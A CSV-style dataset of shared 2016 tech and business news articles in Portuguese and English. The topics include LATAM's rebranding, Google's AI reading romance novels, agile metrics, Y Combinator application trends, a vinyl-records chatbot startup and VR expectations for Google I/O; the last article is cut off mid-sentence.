1462477485,CONTENT REMOVED,1556878199027930272,-7531858294361854119,5275115740953102848,,,,HTML,http://www.melhoresdestinos.com.br/aeronave-design-latam.html,TAM recebe primeira aeronave com o design e pintura da LATAM e avança na implantação da nova marca!,"Como um dos passos mais importantes para a consolidação da TAM, LAN e suas afiliadas sob a nova marca global, o Grupo LATAM Airlines apresentou hoje o novo design dos seus aviões, bem como uniformes de seus funcionários, a nova sinalização nos aeroportos e um novo site ( www.latam.com ). A primeira aeronave com o novo design e pintura chega na madrugada de hoje ao Rio de Janeiro e já no dia 1 de maio vai para Genebra buscar a Tocha Olímpica. O Melhores Destinos acompanhou a entrevista coletiva e apresenta todos os detalhes, como a nova pintura que vai substituir a da TAM e a da LAN, bem como os novos uniformes e demais aplicações da nova LATAM! A primeira aeronave com imagem LATAM a entrar em operação, um Boeing 767, decolará do Rio de Janeiro em 1º de maio com destino a Genebra, para buscar a Tocha Olímpica. O avião será preparado especialmente para a ocasião e retornará a Brasília, local onde terá início o tour de Revezamento da Tocha dos Jogos Olímpicos Rio 2106, que passará por mais de 300 cidades do Brasil. No dia 5 de maio, irão decolar os três primeiros voos comerciais das aeronaves com a nova imagem LATAM nas seguintes rotas: São Paulo-Santiago (um Boeing 767 com saída de Guarulhos às 09h05, horário local); Santiago-Lima (um Airbus A319 com saída de Santiago às 09h10, horário local); e São Paulo-Brasília (um Airbus A319 com saída de Guarulhos às 14h20, horário local). ""Nos próximos dias, os passageiros verão as aeronaves das companhias do Grupo LATAM no ar com a nova imagem LATAM, o que será um marco histórico para o maior grupo aéreo da América Latina"", afirmou Enrique Cueto, CEO do Grupo LATAM Airlines. ""Será uma mudança gradual, cujo principal objetivo é simplificar e melhorar a experiência de viagem dos nossos passageiros"". O executivo garantiu que ""a partir das próximas semanas, nossos passageiros poderão ter uma experiência LATAM ao comprar pelo site da LATAM, acumular quilômetros nos programas de fidelidade LATAM, fazer o check-in nos balcões da LATAM, visitar nossas Salas VIP LATAM e, o mais importante, viajar nas aeronaves com a nova imagem LATAM. Continuaremos aprimorando a maior malha de destinos da América Latina, operando com a frota mais moderna da região, e investindo em ferramentas digitais que nos permitam oferecer uma experiência de viagem personalizada"". A LATAM espera finalizar a pintura exterior de mais de 50 aeronaves em 2016, e concluir a alteração de toda a frota até 2018. A pintura das aeronaves leva, em média, de 6 a 12 dias cada, e será realizada durante a manutenção de rotina das aeronaves para obter a maior eficiência possível do processo. Também no dia 5 de maio, terá início a mudança para a imagem LATAM em 13 dos aeroportos onde as companhias do Grupo LATAM operam, nas cidades de Santiago, São Paulo/Guarulhos, São Paulo/Congonhas, Rio de Janeiro/Galeão, Brasília, Buenos Aires/Ezeiza, Lima, Bogotá, Quito, Miami, Madri, Guayaquil e Nova York (JFK). A alteração inclui a sinalização dos balcões de check-in, Salas VIP, cartões de embarque e informações nas telas. Ainda nos primeiros dias de maio, a LATAM lançará seu novo site, www.latam.com , disponível em seis idiomas. Por meio dessas plataforma, os passageiros poderão reservar suas passagens, fazer o check-in, visualizar o Status de Voo em tempo real, receber alertas e acessar informações úteis sobre sua viagem. Além disso, hoje a LATAM apresentou seus novos uniformes, que serão utilizados por 23.000 funcionários, e espera implementar a mudança em nível global até o final de 2016. Os uniformes LATAM - que refletem a essência do Grupo por meio das formas e cores da nova imagem, o Índigo e o Coral - foram desenhados pelo estilista brasileiro mundialmente reconhecido Pedro Lourenço, em cooperação com grupos de trabalho dos quais participaram mais de 80 funcionários de diferentes áreas da empresa. O Grupo LATAM ainda anunciou a implementação de uma nova revista e plataforma de conteúdo, Vamos/LATAM, oferecendo conteúdo com o melhor da América Latina em vários formatos, disponíveis em espanhol, português e inglês. Além disso, durante 2016 será lançada uma nova carta de vinhos latino-americanos para todos os voos internacionais das companhias do Grupo. Isto se soma ao LATAM Entertainment, o sistema de entretenimento de bordo sem fio para aeronaves de curta distância (Airbus A319, A320, A321) que a empresa já implementou em 200 aeronaves em 2015. Nova tecnologia para pintura das aeronaves O Grupo LATAM Airlines adotou uma nova tecnologia de pintura das aeronaves, 25% mais leve que a convencional. Com ela, a empresa deve obter uma redução de 20kg, em média, em todas as aeronaves da companhia que mudarem a imagem. . A pintura de um avião é um processo que requer diversas soluções de engenharia. Para um Boeing 787, por exemplo, são utilizados 300 litros de tinta e 150 litros da nova tecnologia Clearcoat, que é o verniz protetor que dá brilho e protege contra temperaturas extremas e desgaste aerodinâmico. No total, o processo de pintura leva seis dias: dois para retirar a pintura antiga e quatro para realizar a pintura por camadas. O novo sistema Clearcoat utilizado pela LATAM na pintura de suas aeronaves também contribui para o meio ambiente, pois reduz o peso dos aviões. Esta medida resultará em redução das emissões de CO2 na atmosfera em 3.900 toneladas por ano. Mais algumas imagens divulgadas hoje: E ai? Gostaram do visual dos aviões da LATAM? Deixe seus comentários e participe!",pt
1462480427,CONTENT SHARED,1698483880714927645,-1443636648652872475,4236721063116312900,,,,HTML,http://www.theverge.com/2016/5/5/11599068/google-ai-engine-bot-romance-novels,"Google's AI engine is reading 2,865 romance novels to be more conversational","The next time someone throws you shade for pulling out a steamy romance novel on the train or bus, just tell them that it's okay, because Google's doing it, too. For the past few months, Google has been feeding 2,865 romance novels into an artificial intelligence engine to help loosen it up - linguistically at least, BuzzFeed reports . Google hopes steamy reads will make its bots more conversational The goal is to make the Google app - known for its stiff, factual style - more conversational. ""It would be much more satisfying to ask Google questions if it really understood the nuances of what you were asking for, and could reply in a more natural and familiar way,"" Andrew Dai, the Google engineer running the project, wrote in an email to The Verge . ""It's like how you'd rather ask a friend about what do to in a vacation spot instead of calling their visitor center..."" Jason Freidenfelds, a senior communications manager at Google, told The Verge that currently the Google app only has the capability to learn and understand basic questions. If you ask it, ""When was the Eiffel Tower built?"" it can tell you. And if you follow that with, ""Who built it?"" the bot will understand that ""it"" means ""the Eiffel Tower."" However, it lacks the ability to have more natural conversations. Dai noted in his email that ""we're getting good at understanding sentiment and understanding whether a person likes something by how they describe it,"" but that bots aren't able to understand more subtle things, like sarcasm. An artificial intelligence engine, also known as a neural network, is a computing system that can learn and adapt based on inputs. Understanding how to process and appropriately respond to human language is a huge challenge within artificial intelligence research. Most of Google's products rely on computers responding to human language, and so the team at Google has been feeding these steamy reads into the engine to expand its vocabulary and creative abilities. The AI system then writes sentences and compares them to those it has read, trying to get closer and closer to the style and tone of best-selling bodice rippers. While children's books might seem like a natural choice to teach AI systems how to improve their ability to work with human languages, Freidenfelds noted that romance novels are better. They tend to follow similar plot lines and themes, but use a wide range of vocabulary to express those ideas. The ultimate goal of this exercise isn't for the Google app to start getting fresh with users. Dai and his team simply hope that the AI engine will become more conversational, thus providing a better user experience. The same system could be used to improve Google Inbox's ""Smart Reply"" feature.",en
1462537265,CONTENT SHARED,-6542996094878850014,7890134385692540512,2046518916076451829,,,,HTML,https://medium.com/javascript-scene/how-one-jira-ticket-made-my-employer-1mm-month-7-metrics-that-actually-matter-ffb5b2376a6b,How One Jira Ticket Made My Employer $1MM/Month: 7 Metrics that Actually Matter - JavaScript Scene,"The essence of agile is the continual process of improving efficiency. This is the only thing you really need to know about agile in order to put it to (productive) work in your organization. You should value: Individuals and interactions over processes and tools Working software over comprehensive documentation Customer collaboration over contract negotiation Responding to change over following a plan If that doesn't look familiar, you really need to read this . I'll add some more of my favorite dev team values: Skills over titles Continuous delivery over deadlines Support over blame Collaboration over competition Why is your team's agile process so dysfunctional? Chances are you're losing track of those values, and you're trying to cram the same old chaotic waterfall into agile trappings like scrum meetings and retrospectives. Face to face scrum meetings can be counter-productive because they encourage competition over collaboration (employees compare themselves to each other), blame over support, deadlines over continuous delivery (""we have to close x tickets before Friday or we'll have to work the weekend!""), and a pecking order that infects a team like cancer. Where in the agile manifesto does it say, ""stand up for 15 minutes every day and feel slow-shamed because the coder across from you finished 6 tickets yesterday and you only finished one""? There's always the obnoxious over-achiever who comes in early and goes home late every day, and closes 2x as many tickets as the rest of the team. Note: almost always a relatively inexperienced, but super eager and super impressive. Too bad they're slowing down the rest of the team . Likewise, there's always the slow-poke who closes one or two tickets. Odd. They're a great mentor, and they're always chiming in on other people's tickets, helping them get unstuck, teaching, and giving great advice. They should be able to close 10x as many tickets as the rest of us, right? They must simply be terrible at time management. (Hint: They're not. You just suck at evaluating employees ). Ticket counting and ""velocity tracking"" are the worst ideas in software development management since waterfall chaos. Forget Counting Tickets Forget points. Forget estimates and commitments. Estimates are all worthless lies. Try weekly demos, instead. Get the marketing team to hype the features you finished last month, not the features you think you might be able to finish next month. Build yourself a good feature toggle and marketing release management system and you can still release features according to a marketing hype schedule, but you'll be hyping finished features, and your team will never have to burn out on night & weekend crunch times again. Tip: Your marketing and sales teams should never be allowed to discuss features ""in the pipeline"", and your sales & biz dev teams should never be able to commit to a deadline without a really flexible MVP (minimum viable product) plan. When I say flexible, I mean flexible: e.g., Elon Musk is taking us to Mars. Initial sales MVP: get a balloon into the clouds. Engineering estimates are usually wrong by orders of magnitude , but nobody wants to face up to that fact and deal in reality. What Should We Measure? The only thing that matters in software development is that the users love your software. Everything else in this list serves that purpose. Remember that. Now bring on the real metrics! The first 5 of these metrics are all essential business key performance indicators (KPIs) for nearly every app developer. You're going to wonder why I'm sharing these with a bunch of developers and telling you that these are the metrics you need to focus on , but bear with me. The remaining metrics will clear that up for you. 1. Revenue None of the other metrics mean a damn thing if you go broke. If you run out of fuel, it's game over. You're done. Pack up your office and go home. Core Tactics: Conversion rate optimization Crawlable content Sharable content Page load & perf Optimize to keep the lights on. 2. Monthly Active Users (MAU) Do you have any users? Do you have more than last month? If you're a venture funded startup, you'd better pray you're growing fast enough. In the beginning you can double month over month if you work hard. Of course, all hockey-stick curves are really S curves in disguise, but chances are good you have plenty of room left to grow. Core Tactics: Page load & perf Sharable content TDD & code review Optimize for growth. 3. Net Promoter Score (NPS) Remember when I said if you run out of fuel, it's game over? I tricked you, didn't I? You thought I was talking about money. Money isn't your fuel. Fans are your fuel. Fans are the key to unlocking more money. More sharing. More growth. More joy. More magic. Core Tactics: TDD & code review Page load & perf Collaboration with support & QA staff Optimize to turn users into evangelists. 4. Viral Factor Also known as k-factor or viral quotient. If you're not measuring this, start right now: i = number of invites (e.g., shares) per user c = conversion rate per share k = 1 is steady. No growth. No decline. k > 1 means exponential growth. k < 1 means exponential decline. You should have a giant screen in the middle of the office with a k-factor gauge in bright red for <1 , green for >1 , overlaid on your 3-month MAU growth chart. Core Tactics: Sharable content Integrate sharing into core product Conversion rate optimization Page load & perf Optimize for sharing and new visitor conversion. 5. Support tickets Nothing says ""this garbage is broken"" like an email to customer support. When was the last time somebody contacted support just to tell you how cool you are? Support tickets are your canary in the coal mine. When somebody says something is broken, don't think, ""it works for me!"". Even if it's user error, it's not user error. Chances are there's a flaw in the design and 1,000 other people are bothered by it too. 1,000 other people for every one person who cares enough to write you and complain about. 1,000 people who'd rather hit the back button than waste their time on your app for one more second. Ideally, you should aim for zero support tickets. You'll never reach that metric (if you're lucky), but you should consider every support ticket to be a bug report. Start categorizing the common ones. Count them and use them to prioritize fixes. I'm not saying the customer is always right. Sometimes customers don't know what they want until you give it to them. I am saying that if it's in your inbox, you're doing something wrong. Core Tactics: TDD & code review CI/CD Feature toggle & rollout Periodic bug burndown hackathons Collaboration with support & QA staff Optimize for problem-free customer experience. Key Engineering Focus Metrics As promised. The keys to unlocking the mysteries of the business KPIs. As it turns out, you can move all of the above needles a lot with two levers: 6. Bug Count Here's a shock. Some ticket counts are good for something. Be careful to categorize all the bug tickets as bugs, and then you can see a bug count. All software has bugs, but not all bugs need fixing. If a bug appears only on an ancient phone, and that phone is only used by one user of your software, and that user isn't even a paying customer, do you need to fix that bug? Probably not. Close it and move on. Prioritize the bugs that are hurting your users the most. Get busy and squash them. Core Tactics: TDD & code review Periodic bug burndown hackathons Collaboration with support & QA staff Optimize for a bug-free experience. 7. Performance I'm cheating a little this time. This one is going to contain 3 more critical metrics: Load time: The time it takes for your app to be usable after the user clicks the icon or hits your URL. Aim for <1 second. Beyond that, you lose users. Every ms you can trim off load time comes with measurable benefits to every metric above. Response time: The time from user action (like a click) to a visible response in the application. Aim for <100ms . Any more than that feels like lag. Animation time: The maximum time it takes to draw one animation frame. Aim for 10ms. Any more than 16 ms will cause noticeable jank, and may even make the user feel a bit queasy. You'll need a little breathing room for this one. Keep it under 10ms. Load time is by far the most important mini metric in this list. It will move the business KPI needles like nothing else I've mentioned. But response time and smooth animations cause a magical side-effect. Users are happier after using your app. You see, every little janky glitch, every little delayed response feels jarring to users on an almost subconscious level. Give the same user the same app with performance issues fixed, and they report much higher satisfaction ratings, even if they can't put their finger on why. Our little secret. Core Tactics: Periodic performance hackathons In-depth performance audits 10ms, 100ms, 1000ms, repeat Optimize for a jank-free experience. There's A Lot More To It Of course, this little rant can't go into great depth on how developers can directly manipulate viral factor and MAU numbers, but I'll leave you with a hint: You can. And when those numbers are staring you in the face every day, and you know that it's your job to move them - not management's job, not marketing's job -  your job, I'm sure you'll come up with some creative ideas to make it happen. If your manager thinks you have better things to do, send them this link. Now go out there and move the needle on some metrics that actually matter.",en
1462540159,CONTENT SHARED,-3875881534863988868,3609194402293569455,7932726069140910319,,,,HTML,http://startupi.com.br/2016/05/visa-lanca-desafio-para-startups-de-tecnologia/,Visa lança desafio para startups de tecnologia - Startupi,"A Visa lançou a segunda edição do seu programa O desafio, que estreou em 2015, está se expandindo para vários países e espera engajar mais startups do que o ano anterior. As informações são do site Everywhere Initiative , que coloca três desafios de negócios para startups e pede para que elas desenvolvam soluções potenciais. Business Insider . O desafio solicita que as startups resolvam uma das três questões para a Visa. Duas giram em torno de desafios de marketing para a empresa, uma relacionada a eventos patrocinados pela Visa e a outra sobre pagamentos de cartão de crédito. No terceiro e novo desafio deste ano, as startups deverão utilizar o Visa Developer, a nova plataforma de API da empresa, para melhorar a experiência de e-commerce para os clientes, dentro de um aplicativo já existente ou através de um novo. A Visa espera que o desafio deste ano ajude ainda mais a desenvolver a comunidade empreendedora e direcione as startups de tecnologia a testarem seus produtos e utilizarem suas soluções de API. O serviço Visa Developer foi lançado no início deste ano e tem sido cada vez mais utilizado por empresas do mercado financeiro. A Visa também espera que o desafio atraia empresas de tecnologia. Cada uma das questões terá um vencedor e cada um dos três receberá US$ 50 mil e mais um ano de suporte da Visa para ajudar a executar suas ideias. Para saber mais, acesso o site do desafio .",pt
1462541083,CONTENT SHARED,909703879562824170,3609194402293569455,7932726069140910319,,,,HTML,http://googlediscovery.com/2016/05/04/youtube-pode-lancar-servico-de-televisao-online-unplugged-em-2017/,"YouTube pode lançar serviço de televisão online ""Unplugged"" em 2017 | Google Discovery","De acordo com a Bloomberg, o Google planeja lançar um serviço de assinatura chamado Unplugged que irá oferecer aos clientes um pacote de canais de televisão transmitidos por meio do YouTube. Para acomodar este novo serviço, o Google já teria reformulado toda a arquitetura técnica do YouTube com a esperança de lançá-lo ao público em 2017. Fontes da publicação mencionam que o Unplugged é uma das maiores prioridades do buscador neste momento. ""Os executivos do YouTube têm discutido os planos com a maioria das grandes empresas de mídia, incluindo a NBC Universal, Viacom, Twenty-First Century Fox e CBS"", disseram as fontes que pediram para não serem identificadas. Em carta direcionada aos acionistas da Alphabet na semana passada, o CEO do Google Sundar Pichai afirmou que o YouTube irá desenvolver novas maneiras de permitir que o público interaja com o conteúdo. ""Nós começamos esta jornada com aplicativos especializados, como YouTube Kids, bem como através do nosso serviço de assinatura YouTube Red"", disse Pichai. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1462542647,CONTENT SHARED,5051167660880461112,-1032019229384696495,-5381545755928873151,,,,HTML,https://cloudplatform.googleblog.com/2016/04/Google-Cloud-and-Autodesk-enable-10x-improvement-in-media-rendering-efficiency.html,Google Cloud and Autodesk enable 10x improvement in media rendering efficiency,"We're at NAB this week and are thrilled to announce new Google Cloud Platform partners and product updates that underscore the growing role of cloud computing in the media and entertainment industry . We're collaborating with Autodesk to launch a new cloud-optimized rendering service called Autodesk Maya for Cloud Platform ZYNC Render. Autodesk software has been behind the past 21 Academy Award winners for Best Visual Effects and we're bringing this capability to Google Cloud Platform. The combined offering captures the aim of both companies to enable individual artists and developers to focus on content, abstracting away the nuances of managing infrastructure. Small teams of artists can tap world-class infrastructure to realize the creative vision of what was once limited to much larger studios. Here's how it works: Product teams at Google and Autodesk have developed a cloud-optimized version of Autodesk® Maya®, the popular tool for animation, modeling and rendering. Via a Maya plugin, 3D scenes are transferred to Google Compute Engine in the background, while the artist is working. Because Maya is capable of running on the artist's workstation and also in the cloud on GCP, this allows artists to run massively parallel rendering far more efficiently than before taking advantage of the scalability, performance, and price benefits of GCP Compared with the non-optimized version, Maya® customers see up to 10x improvement in file upload efficiency. This allows many rendering jobs to start instantaneously, cutting wait time and accelerating time to finished shot We're also excited to announce ZYNC Render support for Pixar's historic RenderMan , with licensing fully built-in to the product. ZYNC users are now able to spin up 500 machines per account, scaling to 32,000 rendering cores, with new support for 64-core machines - making short work of ambitious rendering jobs. In addition to our collaboration with Autodesk, we've made some big strides in our offerings for the media and entertainment industry. Here are some recent updates: Cloud Vision API graduates to General Availability The goal of Cloud Vision API is to provide vision capability to your applications in the same way that Google Photos does. It's a powerful tool for media and entertainment companies enabling you to classify images and analyze emotional facial attributes. To further improve our customer experience, Cloud Vision API is going into general availability today with new features: Logo Detection expanded to cover millions of logos Updated OCR for understanding more granular text like receipts Cloud CDN graduates to Beta We're launching Cloud CDN Beta , allowing your media content to be pushed out to Google's network edge and cached close to users. As always, data travels via Google's network and reaches users who expect instantaneous access to images and live-stream video experiences. Cloud CDN is also fully integrated with Google's global load balancing and enterprise-grade security to distribute media workloads anywhere they originate, so jobs never get bogged down. Lytro chooses Cloud Platform and The Foundry One question we see today's top innovators ask continuously is: with massive cloud infrastructure at our fingertips, how can we make a major leap forward in the way things are done today? Lytro is one example. Its technology seems to defy the traditional physics of photography, capturing massive volumes of visual data with such fidelity that infinite creative choices abound: unprecedented control over focus, perspective, aperture and shutter angle, all in post-production. Lytro selected GCP and The Foundry to help power their amazing invention. Learn more by watching their video . For more on what's possible with cloud-enabled media, visit cloud.google.com/solutions/media and zyncrender.com , or contact us to discuss how cloud can enable your creative workflows.",en
1462545003,CONTENT SHARED,8295457724580096419,-108842214936804958,6734056951662293770,,,,HTML,http://themacro.com/articles/2016/05/the-startup-zeitgeist/,The Startup Zeitgeist,"Reading applications to Y Combinator is like having access to a crystal ball. Twice per year - once in the winter and once in the spring - thousands of men and women apply to Y Combinator. Each of these bright minds has his or her own vision of the future of technology. They pitch ideas related to Bitcoin, drones, new drugs, virtual reality, and nearly every other topic you could imagine. Since 2008, we've received tens of thousands of these applications. Collectively, they provide insights into the ideas smart people are working on and how it's changed over time. We've never talked about these publicly before. But recently, we commissioned Priceonomics (YC W12) and their data studio to analyze eight years' worth of our anonymized application data. After breaking the applications down into keywords, they calculated the percentage of applicants that mentioned any given term. So let's review the data, starting with a simple example. There's a question on the Y Combinator application ""Who are your competitors? Who are you most afraid of?"". Looking at the answers to this question, we can see what companies founders have on their minds. When Twitter was new and rapidly growing in 2010, there were many startups doing Twitter-like apps and tools for Twitter users, who were appropriately concerned that Twitter might compete with them. Very few applications mention Microsoft - Paul Graham has written about why that may be before. Some startups are now making the top lists of competitors too. Uber and Airbnb are more than halfway to Google by number of mentions. Other companies have completely dropped off the grid. Remember MySpace? The rest of these graphs are based on the answer to the question ""What is your company going to make?"". Let's look at what this can tell about the platform shift from websites to apps. While the trend in this graph is old news, it's not obvious that it would take until 2016 for apps to overtake websites. Within mobile devices, the iPad was mentioned specifically very often after it first came out. Now it's mentioned rarely-probably not because people don't build apps for iPads anymore, but instead because it's simply so obvious that you will support iPads that people don't even mention it. Interest in the Kindle was never very strong. In the early days of Y Combinator, founders often pitched free and ad-supported business models. Throughout the startup world, that business model has become less common, replaced with companies charging customers directly. We always suspected this, and you can see it in this graph. The term ""SaaS"" (Software-as-a-Service, aka, people pay for it) has increased in usage by 400% since 2008, while ""Advertising"" has decreased by more than 60%. Startups related to blogging used to be very fashionable - many applications suggested tools for bloggers, better blogging sites, or search engines for blogs. This space is no longer popular. There are still a lot of ideas aimed at improving or disrupting email, but not as many as there used to be. Messaging is now more popular. Buried in the above chart is the exploding popularity of the messaging service, Slack. Let's take a closer look at Slack's ascension by comparing it to the number of applications that mention other popular enterprise terms like ""GitHub"" and ""Docker"": Many startups believe that Slack has created an unmatched distribution opportunity. The interest in Slack-related concepts, mostly bots and concierge services, has exploded in the last year. Next, let's take a look at how has Bitcoin fared over the years. Bitcoin-related ideas were briefly very popular, but fell off rapidly. These days, building things on top of the underlying blockchain is on the rise, and seems set to surpass bitcoin itself. Hardware and biotech are all increasingly popular. Some of this reflects changes in the mix of startups applying to Y Combinator. Y Combinator originally focused on software companies but in the last few years has expanded to fund companies in every space. The rest of it reflects the overall hardware renaissance , and the surge of interest in biotech now that lab work is so much more accessible to startups. Within hardware, smartwatches and other wearables remain popular, though they have plateaued now. Other hardware items have not fared as well. Mentions of tablets and e-readers have sharply declined in YC applications in recent years. Not surprisingly, VR is hot and getting hotter. We recently tweeted a call for more VR applications and got a great response. But the biggest trend in the last couple of batches has been the surge in interest in applying AI to everything. Even these graphs understate the extent to which AI is now playing a role in many companies' ideas. To conclude, we've compiled many of the more popular terms mentioned in this post on one table, where you can compare them with one another. This list ranks terms by the percentage of applications that mention them. All companies mentioned have been highlighted in orange for reference. Though on the decline, Facebook (4.2%) and Google (4%) are still the most-cited companies in YC applications. Newcomers - particularly Uber (2.6%) and Airbnb (2.1%), and Slack (1.1%) - are rapidly on the rise. What this table doesn't show us is which terms are on the rise or declining. So lastly, we've broken down the technologies and companies that are losing favor with applicants, as well as those which are ascending the fastest. We limited this list to terms that were mentioned in at least 0.5% of all 2016 applications (and rounded each figure to the nearest tenth of a percent). As we touched on, the term Bitcoin has not fared well in YC application mentions over the past year - to the tune of a 61% decline in mentions. Also of note, Bluetooth, Crowdfunding, and Websites are in similar decline. Of every term we included in this article, one stood far above the rest in terms of popularity: Slack. Over the past year, the company has experienced an 850% increase in YC application mentions. We think this data is pretty interesting, and we plan to track it more closely. If you have other insights on how to interpret it or ideas for questions we can look at, let us know in the comments on Hacker News. Special thanks to Priceonomics for providing the analysis behind this post. Companies that want to turn their data into content can learn more about working with the Priceonomics Data Studio .",en
1462545164,CONTENT SHARED,3608243634452078989,4670267857749552625,-8979363093776014877,,,,HTML,http://www.administradores.com.br/noticias/negocios/carne-artificial-acabara-com-o-agronegocio-brasileiro-afirma-especialista/110412/,"Carne artificial acabará com o agronegócio brasileiro, afirma especialista","As próximas décadas apresentarão mudanças radicais para a indústria alimentícia com o desenvolvimento dos alimentos artificiais, produzidos de forma muito mais rápida e barata. A previsão é do professor do Vale do Silício José Luis Cordeiro, fundador e docente da Universidade da Singularidade da Nasa, que atualizou o público sobre os estudos científicos mais inovadores do mundo durante a palestra ""O Futuro do futuro: As promissoras perspectivas para a raça humana"", realizada na 32ª edição da APAS 2016 - Feira e Congresso de Gestão Internacional, evento promovido pela Associação Paulista de Supermercados (APAS). Pautado pelos avanços tecnológicos dos últimos anos e pelos investimentos globais no desenvolvimento de novas tecnologias para as áreas de medicina, alimentação e comunicação, Cordeiro afirma que nos próximos 20 anos a humanidade irá vivenciar mais mudanças do que as vistas ao longo dos últimos dois mil anos. ""A tecnologia avança exponencialmente e, em três décadas, teremos desenvolvido aparelhos mais complexos do que o cérebro humano"", afirma o professor. Para ele, a tecnologia do futuro parece magia aos olhos do presente. ""A ficção hoje é a realidade de amanhã."" Para o professor, mudanças substanciais na indústria em geral, como na alimentícia com a criação e popularização dos alimentos artificiais, vão contribuir para uma produção mais ecológica e humana, além de gerar economia de tempo e custo. Para o agronegócio como o conhecemos hoje, essa perspectiva não é positiva. ""A carne artificial deve, em 10 anos, acabar com o agronegócio brasileiro"", afirma Cordeiro. Além disso, ele prevê grandes transformações no mundo do trabalho. Segundo ele, ""o trabalho também irá se transformar radicalmente, uma vez que não há futuro para o trabalho tradicional. Estes serão mais criativos e divertidos"". Hoje já vemos exemplos disso no mercado atual, ao qual houve uma transferência de valor do processo de manufatura para o que ele denomina como mentefatura, em que os produtos possuem um valor agregado pelas ideias.",pt
1462547179,CONTENT SHARED,-8510490754427841940,-108842214936804958,6734056951662293770,,,,HTML,http://www.billboard.com/articles/business/7350110/chatbot-vinyl-records-startup-the-edit,How a Chatbot Helped This Vinyl Records Startup Make $1 Million in 8 Months,"Chatbots already have a little bit of a bad name. Early reviews for the ones on Facebook Messenger have been rough due to apparent malfunctions, and Microsoft's Tay has been an utter disaster, at least on a couple of occasions. But a startup called ReplyYes, which offers a text-to-buy system for retailers, provides a glimpse into the potential of automated messaging. Interestingly, the company has a pair of e-commerce ventures. One sells vinyl records, the other graphic novels. The vinyl store, called The Edit, has sold $1 million worth of records since it debuted eight months ago . David Cotter , CEO of ReplyYes and former Amazon.com general manager, attributes much of the site's success to his chatbot technology, which leans on an algorithm that recommends records based on purchase behavior and other interest-level signals. Yet, there's also a human element. Record Store Day Spurs 131 Percent Gain in Vinyl Album Sales in U.S. Here's how it works. People sign up to receive text messages and then get an album recommendation every day on their phone. Upon seeing such an offer, they can text back either ""yes,"" ""like"" or ""dislike"" to inform the chatbot of their musical preferences -- and the reply affects what 12-inch slabs of wax are pitched their way in the future. If they answer ""yes,"" a link appears to let them buy the album in a couple of clicks. The Edit has sold some 50,000 records that way to tens of thousands of subscribers. What's more, if a subscriber asks a ""human question"" -- such as, ""What is currently playing in the office?"" -- a customer service rep quickly steps in and provides a contextual response to further engage the patron. If the consumer seems ready to buy something but hasn't pulled the trigger online, the chatbot -- not the rep -- sends that person a message to call a rep to complete the order. ""Sixty-eight percent of our [subscribers] have purchased,"" Cotter said. ""Twenty-eight percent have purchased six or more albums in their first 180 days [on the mobile platform]."" Cotter described the digital back-and-forth as if it were a scene from High Fidelity. ""It's meant to feel like an experience in a neighborhood record store,"" he said. ""And then it's about, 'How do we take our machine learning and chatbot and build that kind of experience?' We are already selling 300 albums a day because of that [style of thinking]."" ReplyYes' approach differs from what Facebook and Microsoft plan to do with chatbots, making them 100 percent automated. Cotter contended that the hybrid system -- part chatbot, part customer rep -- might be better than any purely digital approach for retailers. ""We've had customers who have invited us out on dates, asked us to parties -- we've gotten Christmas cards,"" he said. Those ideas actually do sound like traditional, record store conversations, don't they? Meanwhile, Cotter's Seattle-based company last week scored a $2.5 million round of funding from Madrona Venture Labs, Lowercase Capital, MESA Ventures, Ore Ventures, FJ Labs, Bob Nelson, Francois Kress, and Lorne Michaels' investment arm, Broadway Video Ventures. The article was originally published by Adweek . Please enable JavaScript to view the",en
1462560200,CONTENT SHARED,-8722526817358894474,-1443636648652872475,5477701302452297236,,,,HTML,http://www.cnet.com/news/vr-possibilities-at-google-io-2016-four-things-im-hoping-to-see/,VR possibilities at Google I/O 2016: Four things I'm hoping to see,"Google might be ready to launch a whole new vision of VR. And honestly, in a year filled with big VR hardware all over the place, I'm more interested to hear about what Google's got in the works than anyone else. Google's I/O developer conference is just around the corner. There are a lot of VR-targeted developer sessions this year, including what looks like a big keynote-style presentation delivered by Google's new head of VR, Clay Bavor. Google I/O is, historically, where big ideas get announced: Android Wear, Google Glass and Google Cardboard. Google Cardboard has been Google's little Trojan horse into virtual reality. In a landscape of expensive, somewhat closed-off rigs, Cardboard is the closest to ""open"" that exists: apps run on both iOS and Android across dozens of phones, and YouTube offers an increasing flow of 360-degree videos to watch. Most people will never get the chance to buy a virtual-reality headset, and many haven't tried one. Sarah Tew/CNET But Google Cardboard is foldable and cheap. It comes free with newspapers. You might get one at a concert. It's not perfect, but it's cool enough to keep around on my desk. And I definitely want to see what Google has in the works for a follow-up. With that in mind, here's what I'm looking forward to most...assuming they actually happen. Room-sensing with a next-gen headset You might not be aware of what computer vision can achieve, or what Project Tango is. But first, know that depth-sensing 3D cameras have been in Google's prototype Project Tango tablets for years, enabling VR headsets to get a sense of advanced motion without needing a sensor bar or sensor boxes like PC-based VR rigs such as the Oculus Rift and HTC Vive use. You could wander a room with a wireless headset on, and it would know the size and layout of the room. Ever since I tried out Project Tango in VR a couple of years ago, I've thought about it sneaking its way into next-gen mobile VR headsets. Oculus is already working on these ideas, but Google will probably get there first . Lynn La/CNET It's already known that Movidius is working with Google on some next-gen devices , building on technology the chipmaker uses in the DJI Phantom 4 to help the drone automatically avoid obstacles, and in a standalone USB neural compute stick . These low-power chips could also be used to identify real-world objects for on-the-fly augmented reality. All of this could make for more advanced VR, and even AR. And we may hear a lot more on that soon . Dave Cheng/CNET Stepped-up hardware for better-looking games, and new Android tools Google Cardboard's apps don't look that fantastic. Samsung Gear VR's apps and games tend to look better. Chalk that up to more optimized hardware, and higher-resolution displays on Samsung's Gear VR-compatible phones. Google's next wave of VR could possibly allow a certain range of phones to work with stepped-up features, allowing for virtual reality that would feel smoother and crisper. Maybe Google Cardboard could be the entry-level experience, and a souped-up Google VR could be where deeper experiences lie. There's also the possibility and promise of a new version of Android that supports VR on a far deeper system level. What if the whole Android OS can be controlled entirely through VR? A step-up VR headset should ideally be capable of running a whole suite of new apps and functions, hopefully without ever removing the headset from my face. It would be a leap from VR as a novelty to VR as a true tool. New controllers, and hand-scanning You can't do anything with your hands in Google Cardboard: all it has is a single button on the side to click on things. Working with wireless controllers, and maybe even incorporating hand-scanning using those embedded Project Tango smart cameras, could allow for two-handed interaction and allow apps where things can be interacted with. For simulation and design, that's crucial. Maybe Google could unveil input hardware. Something's needed here. Much like the Microsoft HoloLens and Meta 2 enable hand-tracking and gesture controls, a new Google VR headset could have that too if it incorporated smart 